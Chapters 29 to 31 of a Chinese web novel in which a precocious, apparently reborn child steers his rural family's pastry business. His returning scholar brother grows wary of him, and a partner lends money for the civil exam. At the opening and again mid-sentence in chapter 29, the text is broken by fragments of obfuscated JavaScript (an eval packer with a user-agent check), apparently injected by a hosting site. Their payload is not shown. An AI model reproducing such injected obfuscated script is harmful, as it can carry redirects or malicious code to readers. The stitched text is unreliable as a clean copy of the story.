;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二日,王老实揣着沉甸甸的铜钱,怀揣着紧张又兴奋的心情去了镇上。找到了正在码头附近做买卖的刘柱。刘柱一听是换银子,拍着胸脯保证没问题,很快便通过相熟的钱铺伙计,换了二两成色不错的碎银。 王老实小心翼翼将那二两碎银放在怀里,去市场割了一刀肥瘦相间的猪肉,又买了一条不大的鱼,还给王杏王佑买了两块米糕。 王佑看着父亲递给大姐的碎银,心中感慨万千。这不仅是钱,更是这个家庭命运转折的实物见证。有了这笔钱,大哥院试前后的开销,至少有了基本的保障,家里也不再是任人拿捏的状态。 王杏将碎银用一块干净的软布包好,锁回小木箱。 等待的日子似乎变得格外缓慢,在八月十七这天下午,那个熟悉的身影,出现在了村口的老槐树下。 29. 王树归家 王树背着简单的书篓,一步一步,朝着家的方向走来。沿途有村邻打招呼,他礼貌地回应,嘴角带着温和的笑意,脚步却不由自主地加快。 推开院门,熟悉的气息扑面而来。院子里干干净净,一切都和他离开时没什么两样,但又似乎……哪里不一样了。 “大哥!”最先冲出来的是王佑。 王树笑着放下书篓,抱起弟弟掂了掂:“佑弟长高了,也重了!” 他看向闻声从灶间和堂屋走出来的父母和大姐。 李氏眼圈立刻就红了,上前拉着儿子的手上下打量:“树儿,瘦了!” 王老实站在妻子身后,看着儿子,嘴唇动了动:“回来就好。” 王杏则站在父母身后,脸上是抑制不住的欢喜和激动,叫了一声“小树”。 王树一一应着,心中暖流涌动。这就是家,无论他在外经历多少风雨,这里永远是他最温暖的港湾。他敏锐地察觉到,家人的精神状态似乎都很好,尤其是大姐,眼神清澈明亮,眉宇间那份长久笼罩的怯懦和恐惧几乎消失不见,取而代之的是一种沉静的柔韧。 晚饭异常丰盛。猪肉炒了青菜梗,鱼做了清蒸,还有炒鸡蛋和凉拌野菜,白米饭管够。这在王家是过年都未必有的规格。王树有些惊讶,只当是家里人为了迎接他回来特意张罗的,心中又是感动又是酸楚,暗暗发誓一定要更加努力。 饭桌上,家人默契地没有多问院试备考的细节,怕给他压力,只是絮叨着家里的琐事,田里的庄稼,村里的闲话。王树也乐得轻松,讲了些学习的趣闻和李夫子的近况,其乐融融。 直到饭后,收拾了碗筷,一家人围坐在堂屋的油灯下,气氛才变得有些不同寻常。 王杏看了父母一眼,又看看弟弟,得到鼓励的眼神后,她起身走进里屋,不一会儿,捧出了那个带锁的小木箱。 王树有些疑惑地看着。 王杏将木箱放在桌上,在全家人的注视下,用钥匙打开了锁。她没有立刻打开箱盖,而是深吸一口气,看向王树:“小树,你安心备考,家里一切都好。不仅好,咱们家……还挣了些钱。” 说着,她掀开了箱盖,取出了一个用软布仔细包裹的小包。她一层层揭开软布,最终,露出了里面那二两碎银! “这……这是……”王树猛地站了起来,凳子腿在地上刮出刺耳的声响。他指着碎银,声音因为极度的震惊而变了调,“这……这是怎么回事?哪来的这么多钱!” 他第一反应不是喜悦,而是巨大的惊恐和担忧。王家骤然暴富,这太不正常了!难道是……周家?还是什么不义之财? 看着王树那副惊疑不定的模样,王老实和李氏都有些紧张,不知该如何解释。王杏却异常镇定,她轻轻按住他微微颤抖的手臂:“小树,你别急,听我说。这钱,是咱们家自己挣的,干干净净。” 她开始讲述如何改良巧酥;如何通过刘木匠认识刘栓,通过刘栓认识刘柱,与刘柱合作售卖;如何控制规模、立下规矩、维系关系,如何一点点积累……从头到尾,清晰明了地说了一遍。 王树听得心潮起伏,目瞪口呆。 他的目光在大姐平静而自信的脸庞,弟弟沉静灵动的眼眸,父母欣慰骄傲的神色间来回移动。他离开时,这个家还在为他的前程和基本的生存而焦虑挣扎;他回来时,这个家不仅走出了困境,还开辟了一条他从未想象过的稳健生财之道!而这一切的主导者,竟然曾经备受创伤、沉默寡言的大姐,和那个年仅五岁、却异常早慧的幼弟! 王树从最初的震惊中渐渐平息,取而代之的是读书人特有的理智与条理。他目光重新聚焦在桌上的银钱上,继而缓缓扫过家人的脸庞,最终目光定格在让他感到陌生又心悸的幼弟身上。 王佑就坐在王杏身侧,小手安静地垂着,小脸上带着一丝孩童应有的腼腆和开心,但那双乌黑清亮的眼睛里,却没有同龄人的懵懂或炫耀,只有一种近乎澄澈的平静。 一个清晰的念头如电光石火般划过王树的脑海:从提议让父亲带着自己去镇上打工挣束脩,到听妹妹说那精确揭示粮长盘剥手法的涂鸦,独自进山去挖药材让父亲连夜送钱,院试苦修前对自己说的那句话,再到如今这环环相扣、稳扎稳打的巧酥生意…… 那些超出年龄的观察力,那些看似天真却直指要害的提问,那些偶露峥嵘的奇思妙想……以前他只当是弟弟格外聪慧早熟,如今串联起来,却构成了一幅让他背脊隐隐发凉的图景! 他的目光与王佑的视线在空中相遇。 王佑似乎察觉到了大哥眼中的探究和惊疑,小脸上露出一个略带顽皮的笑容,眨了眨眼,用撒娇般的口吻说道:“大哥,你别这么看我嘛。我就是……跟着大姐去镇上看了几次,听说了不少,又翻了翻家里的旧书,还有大哥你以前带回来的邸报……乱七八糟的听多看多了,脑子里就自己冒出些想法嘛。跟大姐和爹娘一说,他们觉得可行,就试试看喽。” 这番话,王树一个字都不信! 那不仅仅是想法,那是完整的策略! 从让大姐带他去镇上,回来后便有了卖巧酥的想法,并且开始引导大姐行事;见到镇上营生的刘栓后,又有了新的想法,从产品改良到市场选择,从合作模式到风险控制,从成本核算到利润分配……这需要的是对人性、市场、规则乃至潜在风险的综合判断和精准算计!这绝不是一个五岁孩童,靠听听看看就能无师自通的! 王树深深地看着王佑,那眼神包含了太多复杂的情绪:震惊、困惑、难以置信,还有一丝……敬畏! 他忽然想起某些志怪笔记或乡野传说中,关于宿慧、神童乃至谪仙的记载。以前他只当是无稽之谈,可此刻,看着眼前这个熟悉又陌生的幼弟,那些荒诞的念头竟不由自主地浮现出来。 王佑被大哥那过于深邃的目光看得有些不自在,下意识地往大姐身边靠了靠。王杏立刻伸手揽住弟弟,对王树温声道:“小树,佑弟是帮了大忙,他年纪小,心思却细,有些地方想得比我们都周全。但这营生能成,靠的是咱们全家一起使劲,爹娘支持,可不是佑弟一个人能办成的。” 她的话引起父母共鸣,王老实和李氏纷纷点头。 王树猛地回过神来,意识到自己的失态可能吓到了幼弟。他压下心中翻腾的惊涛骇浪,努力挤出一个笑容,尽量让声音听起来自然:“是……是大哥太吃惊了。” 他走上前,伸手揉了揉王佑的头发,柔声说道:“佑弟,你……真棒。” 王佑仰起小脸,带着点小得意嘻嘻道:“大哥,有了这些钱,你考试就不用太担心了!” 王树心中一暖,用力点头:“嗯!大哥一定好好考,不辜负……不辜负家里的期望。” 王老实和李氏见儿子神色恢复了正常,也都松了口气,脸上重新洋溢起笑容。一家人围着那象征着改变的二两银钱,开始低声聊起家常。 王树听着,偶尔插话,心思却总是不由自主地飘向那个听着大人讲话,一边笑一边玩着石子的幼弟。 夜深人静,王家人都已沉沉睡去,王树躺在床上脑海中反复回放着晚间的种种,心潮起伏。而另一张小床上,王佑也睁着眼睛,望着黑暗中模糊的房梁。 大哥的反应,在他的预料之中,甚至比他预想的还要‘温和’一些。父母和大姐,或许是因为长期生活在自己的异常之下,又或许是因为被接踵而来的实际好处和家庭境遇的改善所吸引,他们对其中超常的逻辑和细节,有一种朴素的接受和信赖。 大哥是读书人,受过系统的思维训练,见识过县学乃至府城更广阔的世界,他对常理和逻辑有着更固执的认知。自己这一系列动作早已超出了早慧的范畴,大哥能看出其中的不寻常,是必然的。 王佑对此并不感到意外,甚至觉得让大哥早点察觉到或许并非坏事。 他从未想过要永远隐藏自己。在一个家庭内部,长期伪装成一个真正的孩童,太累,也太低效。他需要话语权,需要影响力,来引导这个家庭在正确的轨道上行走,避开那些他可能‘预见’的陷阱和风浪。而获得这些,不可能永远依靠童言稚语和无意为之。 这个时代最核心的晋升通道,需要耗费十数年甚至数十年寒窗去竞争。那太慢了,也太不确定了。将宝贵的生命投入到对经义章句的反复咀嚼和模仿中,对他而言,是一种巨大的浪费。 他的优势在于见识、在于谋划、在于对大势的把握。而大哥有读书的天赋,有坚韧的毅力,有改变命运的强烈渴望,他缺的只是资源、机会和更高层次的指点,自己恰好可以成为大哥最有力的补充和支撑。 扶持大哥上位,自己隐于幕后,成为家族的大脑和智库,这才最符合他的自身特点。同时他也意识到大梁朝廷和明朝太像了,他熟知历史走向,了解明朝为何会崩盘,他也想尝试着去改变些什么! 想到这里,王佑心中一片澄明。 第二天清晨,阳光照常洒进小院。王树起床时,眼底带着淡淡的青黑,但精神却异常振奋。他看到正在院子里帮着大姐打水的王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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王佑蹲在老树下,看着蚂蚁搬运刘柱装巧酥时掉落的酥碎,忽然道:“大哥,蚂蚁也知道天冷了,在拼命往家里搬粮食呢。它们那么小,都不怕秋寒。” 王树心中一动。蚂蚁?秋寒?一种细微而坚韧的生命力对抗时序更迭的意象,跃然心头。他舍弃了那些华丽的辞藻,转而从‘蝼蚁储冬’、‘寒蝉抱叶’这类细微处落笔,竟写出了一首别具一格、带着生活质感和哲理意味的秋诗,连他自己读来都觉得耳目一新。 王佑的提醒总是那么不经意,像是孩童无心的观察或天马行空的联想,却往往能精准地戳中王树思考的盲点或僵局,为他打开一扇新的窗户。有时候是一句关于村里邻里纠纷处理方式的评论,有时候是对父亲修理农具时‘因材施用’的感叹。 他开始有意识地捕捉、消化、转化幼弟这些看似零碎的不经意提醒。他发现自己以往的学问,过于依赖书本和夫子的传授,难免有迂阔之气。而幼弟的视角,却像一股清泉,注入了鲜活的生活气息和务实的智慧,让他的思路更加开阔、灵动,也更接地气。 兄弟俩形成了一种奇特的默契。王树会无意地抛出自己的困惑,王佑则会无意地给出一些孩童式的回应。一个不动声色的‘虚心求教’,一个始终维持孩童表象的‘暗中点拨’,竟一次次完成了不一样的思维碰撞。 七天时间转瞬即逝。院试的日子迫在眉睫,王树必须提前动身前往府城报到、熟悉环境、拜会师长同窗。 王杏将早已准备好的包袱交给大哥。里面除了换洗衣物、书籍笔墨,还有一个缝在内衬里的贴身布袋。 “树儿,这些钱该花的地方别省着。”李氏反复叮嘱,眼圈泛红。 王老实用力拍了拍儿子的肩膀:“别有负担,家里现在……宽裕了。你只管好好考!” 王杏看着大哥,千言万语化作一句:“大哥,路上小心,我们等你回来。” 王树接过包袱,目光扫过家人,最后落在安静站在一旁的王佑身上。 王佑走上前,伸出小手,手里攥着一个用红绳编成的简易护身符:“大哥,这个给你,带着它,一定能考好!” 王树蹲下身,接过那粗糙却心意满满的护身符,小心的地放进怀里,伸手将弟弟紧紧抱了一下。 “佑弟,在家听爹娘和大姐的话,等大哥回来。” “嗯!”王佑用力点头,清澈的眼睛里满是信任和鼓励。 这一刻,王树忽然觉得,科举之路虽然依旧充满荆棘,但他已非孤身一人。 30. 看到刘柱的野心,王佑决定再进一步 王树前往府城后,王家小院的日子依旧规律地流淌着。灶火每日准时升起,酥香依旧,铜钱叮当。刘柱每日天不亮来取货,傍晚来结账,态度愈发恭敬勤快,甚至偶尔会顺手帮王家捎带些镇上的盐醋针线等小物件。 然而,王佑的心却并未完全放下。大哥临走时,带走了家里能动用的大部分现银。但对于一场可能决定命运、且潜规则林立的院试来说,未必宽裕。府试时的寒酸打点和因此受到的微妙待遇,王佑从大哥的只言片语和神情中能窥见一二。院试规格更高,竞争更烈,需要打点关节只会更多、更贵。 他不能把全部希望寄托于大哥的才学和运气,也不能让家人刚刚攒下的这点家底被轻易掏空或陷入新的债务。 经过一个多月的观察,王佑基本摸清了刘柱的脾性和欲望。同时,对给予他尊重和机会的王家,有着不浅的认同感和归属感。这是一把已经初步开刃、并且刀柄握在王家手里的好刀,或许可以试着……让他出点血,或者,更紧密地绑上王家的战车。 这个念头虽然有些冒险,但值得一试。王佑将自己的想法和计划,细细地跟王杏说了。王杏如今对他已是言听计从,虽然觉得有些为难,但想到幼弟的种种和对大弟的担忧,还是郑重地点头。 这天傍晚,刘柱照例来结账交钱。王杏点完钱,热情地留他吃饭:“柱子哥,今天家里炖了点菜,您跑一天也辛苦了,留下一起吃口热乎的吧。” 刘柱连连摆手:“这怎么好意思,太麻烦婶子了!” “不麻烦,就是添双筷子的事。”李氏也从灶间探头笑道。 刘柱推辞不过,便在堂屋桌边坐下了。饭菜很快端上,虽不丰盛,但比刘柱平日自己对付的吃食要可口得多。席间,王家人如同往常般闲话家常,气氛融洽。 吃着吃着,王杏忽然轻轻叹了口气,眉头微蹙,像是想起了什么烦心事。 刘柱察言观色,立刻关心地问:“杏妹子,怎么了?可是家里有什么事?” 王杏语气带着几分忧虑:“也没什么大事,就是……想起我大弟了。他这次去考院试,听说比府试更难,花销也更大。家里虽凑了些钱让他带上,可我这心里总是不踏实,怕他在外头……银子不凑手,耽误了正事。” 刘柱闻言,夹菜的动作顿了顿,眼神闪烁。 王佑看似在吃饭,眼角余光却一直牢牢锁定着刘柱脸上最细微的表情变化。他看到了刘柱眼中一闪而过的挣扎、权衡,还有一丝……跃跃欲试的狠劲。 果然,刘柱放下筷子,沉吟了片刻,脸上露出诚恳又带着点豁出去的表情,开口道:“杏妹子,王叔,婶子,你们要是不把我当外人,我……我有个想法。” 王家人都看向他。 刘柱搓了搓手,似乎有些紧张,但语气坚定:“王树弟是读书人,是咱们……咱们这伙人的指望。院试是大事,可不能因为银钱小事耽误了。我……我手里还有些积蓄,不多,但凑一凑,大概能拿出三两银子!” 刘柱继续道:“这钱,先应应急,不要利息。什么时候宽裕了,再还就行。王树弟的前程要紧!” 这让王老实和李氏吃了一惊,刘柱一个在码头讨生活的,就算这一个月赚了些,自己也要吃喝家用,能一下子拿出三两?这恐怕得动用老本,甚至……可能还得找刘栓借一部分。 这同样超出了王佑的预估,他心中迅速做出判断。刘柱的野心和投资决心,比他想象的还要大!他这不仅仅是在帮忙或维护现有生意,而是在进行一次大胆的风险投资。他将宝押在了王树身上,押在了王家的未来上,为自己博一个更大的‘从龙之功’。 王杏也被刘柱的‘大手笔’惊了一下,但她很快镇定下来,露出感激又为难的神色:“柱子哥,这……这怎么使得!三两银子不是小数,您挣钱也不容易……” “杏妹子,你这么说就见外了。”刘柱打断她,语气激动,“没有你们带着我做这营生,我哪能像现在这样?王树弟要是出息了,咱们大家不都跟着好吗?这钱,你们要是不收,就是看不起我刘柱!” 话说到这份上,再推辞反而显得矫情。王杏看向父母,王老实和李氏也被刘柱的‘义气’感动了,点了点头。 王杏这才郑重地对刘柱行了一礼:“柱子哥,大恩不言谢。这钱,我们承您的情,等王树回来,无论结果如何,这笔钱我们一定尽快归还!” “不急不急。”刘柱连连摆手,脸上露出了如释重负又充满期待的笑容。 当晚,刘柱离开后,王老实感慨:“这刘柱……真是够意思!” “是啊,没想到他这么仗义。”李氏也附和。 王杏看向王佑,王佑迎着她的目光,低声道:“大姐,柱子哥这人,可大用,但也要用好。” 王杏若有所思地点点头。 次日天刚蒙蒙亮,院门外传来的叩门声,比往日更早,也更急促些。 李氏前去开门,站在门外的,除了背着空背篓的刘柱,竟然还有一个陌生的少年。 那少年约莫十八九岁,身材瘦高,皮肤黝黑,眉眼间与刘柱有四五分相似,但气质却截然不同。这少年带着有些木讷的朴实,穿着一身洗得发白、打着补丁的粗布衣,双手粗糙,局促地站在刘柱身后半步的位置,眼神低垂,不敢与人对视。 “王婶,杏妹子,早!”刘柱的声音比往日更亮,带着一种下定决心的爽利,“这是我亲弟弟,叫刘全。快,全子,叫王婶,杏妹子。” 那少年王全这才抬起头,飞快地扫了一眼李氏和王杏,又迅速低下头,带着浓重的乡音和怯意:“王婶,杏妹子。” “柱子哥,这是……”王杏有些惊讶地看着这兄弟俩。 刘柱一步跨进院子,脸上堆起笑容:“杏妹子,王婶,有件事跟你们商量。府城路远,我盘算着,王叔不能走远路,得我亲自跑一趟才放心。” 他顿了顿,指向身后的弟弟:“可我这一走,码头上咱们那摊生意不能停啊!停了,熟客就散了。所以,我把我这弟弟带来了。他老实本分,力气有的是,就是嘴笨,不会来事儿。我不在的这几天,就让他送到码头老地方去卖。卖法、价钱、规矩我都交代清楚了,他照做就行,保证出不了岔子。卖的钱,晚上他带回来,杏妹子你照常跟他结账。等我从府城回来,再接上手。” 王杏听得心头一震,回过神后连忙道:“柱子哥,你想得太周到了。只是……让你亲自跑一趟府城,太辛苦了!路费盘缠……” “嗐,说这些干啥。”刘柱大手一挥,“我常年跑码头,去府城的路熟,盘缠我自己有,给王树兄弟送钱是大事,辛苦点应该的!” 王杏连忙去堂屋,装上一包耐放酥和一包咸香巧,还有一个装着水壶和烙饼的小包袱,一起交给了刘柱。 刘柱接过,对刘全叮嘱道:“全子,哥交代你的都记牢了,少说话,多做事,规矩一点不能错,听见没?” 刘全用力点头:“哥,我记着了。” “成,杏妹子,婶子,等我消息!”刘柱对二人一拱手,转身大步流星地走了。 院子里一下子安静下来,只剩下有些手足无措的刘全。 王杏定了定神,走上前,对刘全温和地笑了笑:“全子哥,别站着了,进屋坐。吃早饭了吗?” 刘全连忙摇头,又觉得不对,点头也不是,只是更加局促了。 “没吃正好,一起吃点。”李氏也反应过来,热情招呼。 早饭间,刘全几乎不说话,问一句答半句,只顾埋头吃饭,吃完还知道帮忙收拾碗筷,然后才背着背篓离开王家。 刘柱这一连串的动作,像一把快刀,劈开了王佑心中尚存的最后一丝犹豫和按部就班。此人不仅有野心,更有与之匹配的决断力、行动力和周全的考量。他能想到父亲不便远行,亲自去府城送钱,这份胆识已远非寻常市井之徒可比。 上午,王老实难得没有下地,坐在院子里修理农具,王佑搬了个小凳坐到父亲身边。他仰起小脸,用商量的口吻说:“爹,柱子哥去给大哥送钱了, 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“更稳?新路?”王老实听着有些糊涂。 “嗯,先说更稳。咱们能不能在村里,或者附近村里,再找一两家信得过的、人实在的叔伯婶子,也学着做这个?咱们提供模子、告诉他们大概的做法,交给柱子哥一起卖。这样,咱们的营生会做的更大,也不怕柱子哥撂挑子。” 王老实眼睛亮了亮:“这……能行?手艺教给别人……” “咱们不教核心的。”王佑早有打算,“模子可以借,或者让刘爷爷再刻几个简单的。做法只教基础的,关键的调味比例、火候诀窍,咱们自己掌握。他们做出来的,可能没咱们的那么好吃,但也能卖。” 王老实琢磨着,觉得似乎可行,村里有几户人家和他们关系不错,人也老实勤快。 “那……另一条路呢?”王老实问。 王佑的声音压低了些,眼睛闪着光,“就是做点不一样的,卖得更贵、也更能显出咱们本事的东西。” “更贵的?”王老实吓了一跳,“咱们这穷乡僻壤,谁买贵的?” “镇上有钱人买,或者……送礼用。”王佑引导着父亲的思路,“爹,您想,柱子哥在码头卖的是力气人的吃食,实惠顶饿就行。可镇上那些铺子的掌柜、有田产的乡绅、甚至衙门里的书吏小官,他们吃东西,不光要顶饿,还要讲究个精巧、体面,最好还有点好彩头。” 王老实茫然地摇头,他想象不出那是什么东西。 王佑启发道:“比如,咱们用更好的白面,掺上磨得更细的芝麻粉、核桃碎,糖也用好一点的,油也用好一点的。模子呢,不光是福字、小鱼,让刘爷爷给刻更复杂、更吉祥的图案,像如意、元宝、喜鹊登梅什么的。做得小小的,一口一个,烤得金黄油亮,用干净的油纸包好,或者用精致的盒子装起来。这样一个,咱们卖三文钱、五文钱,甚至更贵,专门卖给那些讲究的人家当点心、当礼品。” 王老实听得直咂舌:“三文五文一个?那得做成啥样才有人买……” “所以,这活儿一般人干不了,得是真正的手艺。咱们得找更靠得住、手艺更好的人帮忙。爹,您觉得……刘栓怎么样?” “刘栓是木匠,可这做吃食……”王老实不解。 王佑解释道:“刘栓认识那些铺子的掌柜,认识一些富贵户。咱们可以请他帮忙牵线,或者,干脆跟他合伙,他负责找销路、打点关系,做礼盒。咱们负责做东西,赚了钱一起分。有他这条线,咱们的东西才能卖上价,也才安全。” 王老实被儿子这一连串的构想震得有些发懵,但仔细一想,又觉得每一条似乎都有道理。 他沉默了很久,声音有些干涩:“佑儿,你……你想的这些,爹听不太全懂,但爹知道,你是为了这个家好。你觉得行,咱们就试试,村里找人的事,爹去打听。刘栓那边……等柱子回来,咱们再好好商量。” 31. 王杏巧语连珠,刘栓入伙 刘柱去府城送钱的这几日,刘全每日准时取走一百个巧酥,傍晚又默默将卖得的钱如数交回,话虽不多,做事一丝不苟。 王佑在家里相对空闲的这几天,与王杏一起又去了一趟镇上。他的目光停留在那些门脸相对光鲜的铺子,如点心铺、茶食店,甚至镇上唯一一家兼卖糕饼的杂货铺。 他让王杏假装要买点心送人,进去询问价格,自己则踮着脚,目光快速扫过柜台里陈列的货品。 结果在意料之中,让他信心大增。 镇上的所谓高端糕点,无非是些加了红枣或豆沙的枣泥糕、豆沙饼,撒了更多芝麻的芝麻酥,形状规整些的云片糕……价格最贵的三十文钱一块,但包装却极其简陋,大多用粗劣的油纸一裹了事。稍微讲究点的,用印着红字福或寿的薄纸盒,已是顶天的体面了。 与王佑记忆中前世那些包装精美、营销故事满天飞的‘伴手礼’、‘文创点心’相比,这里的高端市场,简直是一片未被开垦的土地,充满了简陋和……机会。 回家的路上,他心中那个‘精品巧酥’的计划,轮廓越来越清晰。 回到家,王佑立刻行动。他翻出王树离家前留下几张纸,又找出家里珍藏的一小截炭笔。他说,王杏写。 王佑说的,主要是‘操作指南’和‘故事脚本’。 一炷香后。 “大姐,大概意思记住就行。等柱子哥回来,咱们再细说。尤其是故事那部分,咱们得编圆了,让栓子哥和柱子哥都觉得有道理,有赚头。” 王杏拿着那张沉甸甸的纸,心中满是震撼。她用力点头:“佑弟,你放心,大姐都记在心里。等你柱子哥回来,咱们一起商量。” 与此同时,王老实那边进展颇为顺利。他挑的几户人家,都是平日里老实巴交、家境不宽裕但人品信得过的邻里。他没有说太多大道理,只是含糊地表示家里忙不过来,想找相熟的帮把手,学个样子,做好了统一有人去卖,按抽成分到一笔辛苦钱。 王老实按照王佑的叮嘱,强调了几点:关键的料要从王家拿,做法王家会教;不能做出残次品;初期在王家做,到时候需要统一去一个地方做,当然,收入也会更高。 朴实农民大多懂得感恩和守诺,加上对王老实人品的信任和对这份额外收入的渴望,几户人家几乎没有犹豫就答应下来。 第七日傍晚,刘柱风尘仆仆地从府城回来了。 他一进王家门,灌了一大碗凉水,抹了把嘴:“王叔、婶子、杏妹子、佑哥儿。好消息,我见到王树弟了,在府城一家干净的客栈里,气色不错。他……他一开始不肯收,说家里不易。我好说歹说,他才收下,眼圈都红了,拉着我的手说了好多感谢的话。他还说,让你们别担心,他一切都好,定当尽力!” 听到大哥收了钱,王家人悬着的心终于彻底放下,对刘柱更是感激不尽。 他正想详细说说府城的见闻,王杏却按照弟弟事先的嘱咐,适时地岔开了话题。 “柱子哥,你辛苦了,这份情我们记在心里。”王杏语气诚恳,然后话锋一转,带着商量的口吻,“你不在的这几天,我爹也在村里走动了一下,有几家相熟的叔伯婶子,看着咱们这生意,也想搭把手。” 刘柱脸上的笑容微微一僵,心里咯噔一下。找人搭把手?这是……要分他的羹?还是嫌他一个人卖得不够多? 王杏察言观色,立刻解释道:“柱子哥别误会,我是这么想的,咱们在码头那边卖得好,说明路子对。可镇子周围,还有那么多村子,那么多赶集、做活的人,咱们能不能……把生意再做大一点?” “比如,让村里那几户人家做好后统一交给你去卖。你这边呢,以后不光管码头,还可以安排更多人手去到其他地方去卖。你来负责教他们,管他们,从他们的收入里再抽一点管理费。这样一来,咱们的营生就能卖到更多地方,赚的钱也更多,柱子哥你管的事也更重要了,是不是?” 刘柱听完,眼睛瞪得溜圆,激动得脸都红了,连连拍着大腿:“杏妹子,你这想法……太厉害了。对对对,就该这么干,人手我有,镇上和周围村子哪些地方人多,哪些日子有集,我都清楚!这事交给我,准没错。” 王杏趁热打铁,继续说道:“柱子哥,咱们走的是实惠顶饿的路子,在码头、乡下是可以卖得好。可你想过没有,镇上富户、讲究人更多,他们吃东西,不光要饱,还要精,要巧,要有面子。” 刘柱一愣:“有面子?” 王杏点点头,将王佑关于精品巧酥的构想,用更朴素、更吸引人的语言描述了一遍。 刘柱听得眼睛都直了,虽然激动,还有一丝残存的市井谨慎:“杏妹子,这……这能行吗?” “所以,这事儿,光靠咱们不行,得找懂行的人,有人脉的人。你堂哥在镇上开铺子,认识的人多,门路广。这种精品,得靠他去推,去找买主。你呢,可以帮着跑腿联络,里外照应。咱们三家合伙,把这精品做起来!” “对对对,我堂哥肯定有门道。杏妹子,王叔,婶子,你们等着!我这就回镇上找我堂哥说去,这事儿准成!”他说完,像一阵风似的冲出了王家,朝着镇上狂奔而去。 刘栓刚忙完一天的活计,正准备吃饭,就见刘柱满头大汗地闯了进来,嘴里连珠炮似的将王家那个计划和合作提议倒了出来。 起初,刘栓还有些不以为然,觉得堂弟是不是被王家人画的大饼冲昏了头。但听着听着,他的敏锐神经被触动了。 “走!去王家!”刘栓放下筷子,当机立断。他比刘柱想得更深,这不仅仅是赚钱的机会,更是他刘栓拓展人脉的契机。 兄弟二人饭也顾不得吃,急匆匆又赶回了王家村。 王杏早已准备好,不卑不亢地将兄弟俩迎进屋,王老实和李氏也出面作陪。油灯下,王杏将那份精品计划更细致、更故事化地阐述了一遍。 刘栓听得连连点头,不时插话询问细节,眼光越来越亮。刘柱则在一旁兴奋地补充,仿佛已经看到了银子滚滚而来。 初步的共识已经达成,接下来便是最实际细节、定价和分配。 王杏按照王佑事先的推演,条理清晰地开始铺陈:“低端的营生,咱们照旧,稳扎稳打。每日先定两百个,码头的量多少柱子哥你自己定。还是老规矩,卖一文半,我拿一文,剩下半文,给到具体卖饼子的人手里。至于你这边怎么从你安排的人那儿抽成,是每卖一个抽一点,还是每月收个管理费,你自己定章程,我不插手,只要保证该得的那一文就行。” 刘柱是个聪明人,连连点头:“杏妹子放心!规矩我懂,保证办得妥妥当当!” “接下来,是精品。”王杏语气一肃,目光转向刘栓,“栓子哥,这东西,咱们不做则已,要做,就得往高了做,往精了做。价钱嘛……” 她顿了顿,迎着刘栓和刘柱探询而紧张的目光,清晰地吐出三个字:“五百文。” “五百文?”刘柱差点从凳子上跳起来,眼珠子瞪得溜圆,“一盒?就……就那几个?” 刘栓也倒吸一口凉气,眉头紧锁:“杏丫头,这……这是不是太……太冒进了?镇上最好的点心礼盒,撑死也就百十文。” 这个价格,远超他们的认知范畴。在他们看来,巧酥就是巧酥,用料再好,工艺再精,包装再美,也终究是吃食,五百文一盒?那得是什么人家才舍得买? 王杏却显得异常镇定她没有直接反驳,而是抛出了一个关键信息:“栓子哥,柱子哥,你们可知道,再过十来天,咱们镇上有头有脸的乡绅老爷,要在周家办一场小聚?” 刘栓一愣,作为镇上消息灵通的手艺人,他隐约听说过这个风声。此刻被王杏点出,他心中猛地一动,似乎抓住了什么。 王杏看向刘栓。 “陈老爷。”刘栓接话,眼神闪烁了一下,他确实认识一位陈老爷府上的采办管事,偶尔接些修缮家具的小活,也远远见过陈老爷几面,谈不上深交,但混个脸熟、递个话是可能的。 “这就是咱们的机会,赶在乡绅聚会前,栓子哥,你得想办法,备上一份厚礼,去拜会一下陈老爷。” 刘栓似乎明白了什么,呼吸微微急促起来。 王杏适时地从袖中取出王佑一张说辞递给刘栓,继续说道:“栓子哥,你去的时候,不必多带,就带一盒咱们做好的样品。盒子要做得最精致,用上好的木料,小巧玲珑,雕花镂空,分格摆放咱们那几种最吉祥图案的巧酥,每个独立用浅色洒金油纸包好。你就照着这纸上写的故事,跟陈老爷或管事讲。重点突出吉祥好彩头、雅致不俗气、府城都难得的精巧。” 她看着刘栓渐渐发亮的眼睛,说出最关键的一步:“陈老爷收到这样一份别出心裁、寓意吉祥、做工又如此精美的雅礼,他会怎么做?他会不会……在乡绅聚会上,作为新奇玩意儿,给其他老爷们品鉴一番?只要这东西在那种场合一亮相,栓子哥,你说,咱们这东西,还愁卖不上这个价吗?” 刘栓听完,豁然开朗!所有的疑虑瞬间烟消云散,取而代之的是难以抑制的激动和敬佩!他盯着王杏,仿佛第一次真正认识这个农家姑娘。 他一拍大腿,胸有成竹:“杏丫头,你这……真是绝了。我有把握说动这件事,保证在聚会前,把东西和话,都递到陈老爷面前!” 王杏见刘栓已完全入彀,趁热打铁:“模具的事情本来是想再麻烦刘爷爷的。不过栓子哥你既然得了真传,又是做这精品的关键,交给你,自然更放心。花样就是福禄寿、五福临门、平安如意等这些,要刻得比之前的精细,雕上祥云纹路。” 刘栓毫不犹豫地拍胸脯:“放心!包在我身上!我亲自操刀,就用店里最好的黄杨木,保证刻出来比画上的还好看!” “还有最重要的包装礼盒,”王杏拿出一个用普通竹片和旧布勉强搭出的简陋样板,指着结构讲解,“要这么大小,带盖,里面分三到四格。外观最好能上一点清漆,显档次。” 刘栓只看了几眼样板,心中立刻有了更精妙的构思。用上好的楠木或枣木?雕刻更复杂的缠枝纹或云纹?内衬用细棉布甚至杭绸?他的木匠魂和商人嗅觉同时被点燃,连连点头:“懂了,我亲自设计,做出样品保证精美!” 前期工作安排妥当,最后也是最核心的利益 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最后,王杏拿出了王佑口述、她精心誊写并提前盖好父亲手印的三份契约,内容涵盖了低端生意的扩大合作原则,以及精品巧酥项目的具体分工、利润分配、保密条款和争议解决方式。条款清晰,权责分明。 “栓子哥,柱子哥,咱们亲兄弟明算账。这契约,一式三份,咱们各自画押收好,往后依约行事,大家都放心。”王杏将契约推到两人面前。 